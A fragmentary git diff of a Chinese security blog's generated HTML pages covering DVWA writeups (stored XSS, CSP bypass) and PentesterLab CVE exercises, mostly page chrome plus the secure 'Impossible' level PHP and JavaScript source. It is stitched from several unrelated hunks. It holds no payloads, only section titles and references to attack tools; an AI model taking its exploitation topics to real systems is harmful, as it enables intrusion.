class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-3"><span class="toc-text">参阅</span></a></li></ol></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img 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diff --git a/2020/04/26/Security/DVWA/11. XSS Stored/index.html b/2020/04/26/Security/DVWA/11. XSS Stored/index.html
index e28192163..1504936aa 100644
--- a/2020/04/26/Security/DVWA/11. XSS Stored/index.html	
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+<meta property="article:modified_time" content="2024-05-22T14:10:41.005Z">
 <meta property="article:author" content="Jckling">
 <meta property="article:tag" content="MySQL">
 <meta property="article:tag" content="Web">
@@ -63,7 +63,7 @@
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@@ -218,7 +218,7 @@ <h3 id="参阅-2"><a href="#参阅-2" class="headerlink" title="参阅"></a>参
 <li><a target="_blank" rel="noopener" href="https://www.php.net/manual/zh/function.preg-replace">PHP Manual - preg_replace</a></li>
 </ul>
 <h2 id="Impossioble"><a href="#Impossioble" class="headerlink" title="Impossioble"></a>Impossioble</h2><h3 id="源码解析-3"><a href="#源码解析-3" class="headerlink" title="源码解析"></a>源码解析</h3><p>使用 Anti-CSRF Token 来避免 CSRF 攻击，提交后先对 token 进行检查；对 Message 和 Name 进行反引用，转义 SQL 中使用的特殊字符，然后再将 <code>&amp; &quot; &#39; &lt; &gt;</code>转换为 HTML 实体；最后使用预处理的 SQL 语句执行数据的插入。</p>
-<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"> <span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;btnSign&#x27;</span> ] ) ) &#123;</span><br><span class="line">    <span class="comment">// Check Anti-CSRF token</span></span><br><span class="line">    <span class="title function_ invoke__">checkToken</span>( <span class="variable">$_REQUEST</span>[ <span class="string">&#x27;user_token&#x27;</span> ], <span class="variable">$_SESSION</span>[ <span class="string">&#x27;session_token&#x27;</span> ], <span class="string">&#x27;index.php&#x27;</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Get input</span></span><br><span class="line">    <span class="variable">$message</span> = <span class="title function_ invoke__">trim</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;mtxMessage&#x27;</span> ] );</span><br><span class="line">    <span class="variable">$name</span>    = <span class="title function_ invoke__">trim</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;txtName&#x27;</span> ] );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Sanitize message input</span></span><br><span class="line">    <span class="variable">$message</span> = <span class="title function_ invoke__">stripslashes</span>( <span class="variable">$message</span> );</span><br><span class="line">    <span class="variable">$message</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$message</span> ) : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line">    <span class="variable">$message</span> = <span class="title function_ invoke__">htmlspecialchars</span>( <span class="variable">$message</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Sanitize name input</span></span><br><span class="line">    <span class="variable">$name</span> = <span class="title function_ invoke__">stripslashes</span>( <span class="variable">$name</span> );</span><br><span class="line">    <span class="variable">$name</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$name</span> ) : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line">    <span class="variable">$name</span> = <span class="title function_ invoke__">htmlspecialchars</span>( <span class="variable">$name</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Update database</span></span><br><span class="line">    <span class="variable">$data</span> = <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">prepare</span>( <span class="string">&#x27;INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );&#x27;</span> );</span><br><span class="line">    <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">bindParam</span>( <span class="string">&#x27;:message&#x27;</span>, <span class="variable">$message</span>, PDO::<span class="variable constant_">PARAM_STR</span> );</span><br><span class="line">    <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">bindParam</span>( <span class="string">&#x27;:name&#x27;</span>, <span class="variable">$name</span>, PDO::<span class="variable constant_">PARAM_STR</span> );</span><br><span class="line">    <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Generate Anti-CSRF token</span></span><br><span class="line"><span class="title function_ invoke__">generateSessionToken</span>();</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure></article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2020/04/26/Security/DVWA/11.%20XSS%20Stored/">https://jckling.github.io/2020/04/26/Security/DVWA/11. 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class="announcement_content">欢迎访问本站 🥳 <br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#XSS-Stored"><span class="toc-text">XSS (Stored)</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#Low"><span class="toc-text">Low</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8"><span class="toc-text">漏洞利用</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Medium"><span class="toc-text">Medium</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-1"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-1"><span class="toc-text">漏洞利用</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-1"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#High"><span class="toc-text">High</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-2"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-2"><span class="toc-text">漏洞利用</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-2"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Impossioble"><span class="toc-text">Impossioble</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-3"><span class="toc-text">源码解析</span></a></li></ol></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img src="https://www.nvidia.cn/content/dam/en-zz/Solutions/about-nvidia/logo-and-brand/02-nvidia-logo-color-blk-500x200-4c25-p@2x.png" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'" 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+<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"> <span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;btnSign&#x27;</span> ] ) ) &#123;</span><br><span class="line">    <span class="comment">// Check Anti-CSRF token</span></span><br><span class="line">    <span class="title function_ invoke__">checkToken</span>( <span class="variable">$_REQUEST</span>[ <span class="string">&#x27;user_token&#x27;</span> ], <span class="variable">$_SESSION</span>[ <span class="string">&#x27;session_token&#x27;</span> ], <span class="string">&#x27;index.php&#x27;</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Get input</span></span><br><span class="line">    <span class="variable">$message</span> = <span class="title function_ invoke__">trim</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;mtxMessage&#x27;</span> ] );</span><br><span class="line">    <span class="variable">$name</span>    = <span class="title function_ invoke__">trim</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;txtName&#x27;</span> ] );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Sanitize message input</span></span><br><span class="line">    <span class="variable">$message</span> = <span class="title function_ invoke__">stripslashes</span>( <span class="variable">$message</span> );</span><br><span class="line">    <span class="variable">$message</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$message</span> ) : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line">    <span class="variable">$message</span> = <span class="title function_ invoke__">htmlspecialchars</span>( <span class="variable">$message</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Sanitize name input</span></span><br><span class="line">    <span class="variable">$name</span> = <span class="title function_ invoke__">stripslashes</span>( <span class="variable">$name</span> );</span><br><span class="line">    <span class="variable">$name</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$name</span> ) : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line">    <span class="variable">$name</span> = <span class="title function_ invoke__">htmlspecialchars</span>( <span class="variable">$name</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Update database</span></span><br><span class="line">    <span class="variable">$data</span> = <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">prepare</span>( <span class="string">&#x27;INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );&#x27;</span> );</span><br><span class="line">    <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">bindParam</span>( <span class="string">&#x27;:message&#x27;</span>, <span class="variable">$message</span>, PDO::<span class="variable constant_">PARAM_STR</span> );</span><br><span class="line">    <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">bindParam</span>( <span class="string">&#x27;:name&#x27;</span>, <span class="variable">$name</span>, PDO::<span class="variable constant_">PARAM_STR</span> );</span><br><span class="line">    <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Generate Anti-CSRF token</span></span><br><span class="line"><span class="title function_ invoke__">generateSessionToken</span>();</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure></article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2020/04/26/Security/DVWA/11.%20XSS%20Stored/">https://jckling.github.io/2020/04/26/Security/DVWA/11. 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toc-level-2"><a class="toc-link" href="#Medium"><span class="toc-text">Medium</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-1"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-1"><span class="toc-text">漏洞利用</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-1"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#High"><span class="toc-text">High</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-2"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-2"><span class="toc-text">漏洞利用</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" 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@@ -218,7 +218,7 @@ <h2 id="Impossioble"><a href="#Impossioble" class="headerlink" title="Impossiobl
 <figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$headerCSP</span> = <span class="string">&quot;Content-Security-Policy: script-src &#x27;self&#x27;;&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="variable">$headerCSP</span>);</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span> (<span class="variable">$_POST</span>[<span class="string">&#x27;include&#x27;</span>])) &#123;</span><br><span class="line"><span class="variable">$page</span>[ <span class="string">&#x27;body&#x27;</span> ] .= <span class="string">&quot;</span></span><br><span class="line"><span class="string">    &quot;</span> . <span class="variable">$_POST</span>[<span class="string">&#x27;include&#x27;</span>] . <span class="string">&quot;</span></span><br><span class="line"><span class="string">&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$page</span>[ <span class="string">&#x27;body&#x27;</span> ] .= <span class="string">&#x27;</span></span><br><span class="line"><span class="string">&lt;form name=&quot;csp&quot; method=&quot;POST&quot;&gt;</span></span><br><span class="line"><span class="string">    &lt;p&gt;Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.&lt;/p&gt;&lt;p&gt;The CSP settings only allow external JavaScript on the local server and no inline code.&lt;/p&gt;</span></span><br><span class="line"><span class="string">    &lt;p&gt;1+2+3+4+5=&lt;span id=&quot;answer&quot;&gt;&lt;/span&gt;&lt;/p&gt;</span></span><br><span class="line"><span class="string">    &lt;input type=&quot;button&quot; id=&quot;solve&quot; value=&quot;Solve the sum&quot; /&gt;</span></span><br><span class="line"><span class="string">&lt;/form&gt;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">&lt;script src=&quot;source/impossible.js&quot;&gt;&lt;/script&gt;</span></span><br><span class="line"><span class="string">&#x27;</span>;</span><br></pre></td></tr></table></figure>
 
 <p>不使用 callback 函数，直接硬编码，避免了注入。</p>
-<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">clickButton</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> s = <span class="variable language_">document</span>.<span class="title function_">createElement</span>(<span class="string">&quot;script&quot;</span>);</span><br><span class="line">    s.<span class="property">src</span> = <span class="string">&quot;source/jsonp_impossible.php&quot;</span>;</span><br><span class="line">    <span class="variable language_">document</span>.<span class="property">body</span>.<span class="title function_">appendChild</span>(s);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">solveSum</span>(<span class="params">obj</span>) &#123;</span><br><span class="line">    <span class="keyword">if</span> (<span class="string">&quot;answer&quot;</span> <span class="keyword">in</span> obj) &#123;</span><br><span class="line">        <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&quot;answer&quot;</span>).<span class="property">innerHTML</span> = obj[<span class="string">&#x27;answer&#x27;</span>];</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> solve_button = <span class="variable language_">document</span>.<span class="property">getElementById</span> (<span class="string">&quot;solve&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (solve_button) &#123;</span><br><span class="line">    solve_button.<span class="title function_">addEventListener</span>(<span class="string">&quot;click&quot;</span>, <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="title function_">clickButton</span>();</span><br><span class="line">    &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2020/04/26/Security/DVWA/12.%20CSP%20Bypass/">https://jckling.github.io/2020/04/26/Security/DVWA/12. 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@@ -219,7 +219,7 @@ <h2 id="Impossioble"><a href="#Impossioble" class="headerlink" title="Impossiobl
 <blockquote>
 <p>You can never trust anything that comes from the user or prevent them from messing with it and so there is no impossible level. </p>
 </blockquote>
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(File Inclusion)</div></div></a></div><div><a href="/2020/04/24/Security/DVWA/5.%20File%20Upload/" title="DVWA Writeup Part V (File Upload)"><img class="cover" src="https://i.loli.net/2021/06/14/aAsUJkFMvVpl4ro.png" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2020-04-24</div><div class="title">DVWA Writeup Part V (File Upload)</div></div></a></div><div><a href="/2020/04/24/Security/DVWA/6.%20SQLi/" title="DVWA Writeup Part VI (SQL Injection)"><img class="cover" src="https://i.loli.net/2021/06/14/aAsUJkFMvVpl4ro.png" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2020-04-24</div><div class="title">DVWA Writeup Part VI (SQL Injection)</div></div></a></div></div></div><hr class="custom-hr"/><div id="post-comment"><div class="comment-head"><div class="comment-headline"><i class="fas fa-comments fa-fw"></i><span> 评论</span></div></div><div class="comment-wrap"><div><div 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index ee41e2ff8..15b22cd4b 100644
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@@ -311,7 +311,7 @@ <h1 id="源码解析"><a href="#源码解析" class="headerlink" title="源码
 <li><a target="_blank" rel="noopener" href="https://linuxize.com/post/netcat-nc-command-with-examples/">Netcat (nc) Command with Examples</a></li>
 <li><a target="_blank" rel="noopener" href="https://linux.die.net/man/1/socat">socat(1) - Linux man page</a></li>
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@@ -240,7 +240,7 @@ <h1 id="参阅"><a href="#参阅" class="headerlink" title="参阅"></a>参阅</
 <li><a target="_blank" rel="noopener" href="http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200804-412">WordPress Cookie完整性保护非授权访问漏洞</a></li>
 <li><a target="_blank" rel="noopener" href="https://zh.wikipedia.org/wiki/%E9%87%91%E9%91%B0%E9%9B%9C%E6%B9%8A%E8%A8%8A%E6%81%AF%E9%91%91%E5%88%A5%E7%A2%BC">HMAC - 密钥散列消息认证码</a></li>
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class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#CVE-2008-1930"><span class="toc-text">CVE-2008-1930</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE"><span class="toc-text">环境配置</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E4%BB%A3%E7%A0%81"><span class="toc-text">漏洞代码</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8"><span class="toc-text">漏洞利用</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E4%BF%AE%E5%A4%8D%EF%BC%88Patch%EF%BC%89"><span class="toc-text">漏洞修复（Patch）</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%8F%82%E9%98%85"><span class="toc-text">参阅</span></a></li></ol></div></div><div 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@@ -243,7 +243,7 @@ <h1 id="参阅"><a href="#参阅" class="headerlink" title="参阅"></a>参阅</
 <li><a target="_blank" rel="noopener" href="https://metasploit.help.rapid7.com/docs/msf-overview#section-accessing-ms-fconsole-on-linux">Accessing MSFconsole on Linux</a></li>
 <li><a target="_blank" rel="noopener" href="https://www.offensive-security.com/metasploit-unleashed/msfconsole/">USING THE MSFCONSOLE INTERFACE</a></li>
 </ul>
-</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2020/04/29/Security/PentesterLab/CVE-2012-1823/">https://jckling.github.io/2020/04/29/Security/PentesterLab/CVE-2012-1823/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" target="_blank">Jckling's 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<br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#CVE-2012-1823"><span class="toc-text">CVE-2012-1823</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE"><span class="toc-text">环境配置</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E8%AF%B4%E6%98%8E"><span class="toc-text">漏洞说明</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8"><span class="toc-text">漏洞利用</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#lwp-request"><span class="toc-text">lwp-request</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Burp-Suite"><span class="toc-text">Burp Suite</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Metasploit"><span class="toc-text">Metasploit</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%8F%82%E9%98%85"><span class="toc-text">参阅</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img src="https://www.nvidia.cn/content/dam/en-zz/Solutions/about-nvidia/logo-and-brand/02-nvidia-logo-color-blk-500x200-4c25-p@2x.png" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'" alt="NVIDIA Omniverse Audio 系列工具使用"/></a><div class="content"><a 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diff --git a/2020/05/02/Security/PentesterLab/Linux Host Review/index.html b/2020/05/02/Security/PentesterLab/Linux Host Review/index.html
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@@ -63,7 +63,7 @@
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@@ -300,7 +300,7 @@ <h1 id="参阅-11"><a href="#参阅-11" class="headerlink" title="参阅"></a>
 <li><a target="_blank" rel="noopener" href="https://man.linuxde.net/screen">screen命令</a></li>
